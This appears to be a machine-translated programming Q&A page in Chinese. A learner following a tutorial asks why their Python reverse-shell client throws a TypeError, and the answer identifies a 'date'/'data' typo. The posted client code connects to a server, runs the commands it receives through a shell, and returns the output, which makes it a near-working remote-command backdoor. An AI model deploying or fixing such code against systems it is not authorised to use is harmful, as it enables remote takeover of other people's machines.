套接字客户端问题' __ getitem __'

时间:2016-07-22 16:33:28

标签: python-2.7 shell sockets reverse

大家好,我正在观看一些关于在youtube中使用python的Revers shell的教程https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]

这个客户端的目的是从服务器接收命令,服务器工作得很好但是当我运行客户端它给了我这个

File "/root/Desktop/Revers/client.py", line 15, in <module>
if data[:2].decode('utf-8') == "cd":
TypeError: 'module' object has no attribute '__getitem_

这是代码:

 s = socket.socket()
 s.connect((host, port))

 while True:
     date = s.recv(1024)
     if data[:2].decode('utf-8') == "cd":
         os.chdir(data[3:].decode("utf-8"))
     if len(data) > 0:
         cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
                           stdin=subprocess.PIPE)
         output_bytes = cmd.stdout.read() + cmd.stderr.read()
         output_str = str(output_bytes)
         s.send(str.encode(output_str + str(os.getcwd()) + '> '))
         print(output_str)

 s.close()

1 个答案:

答案 0 :(得分:0)

这一行有一个错字:

     date = s.recv(1024)

date代替data

所以表达式data[:2]调用data.__getitem__之前定义data

由于关于'module' object的错误,我猜data是您之前导入的模块。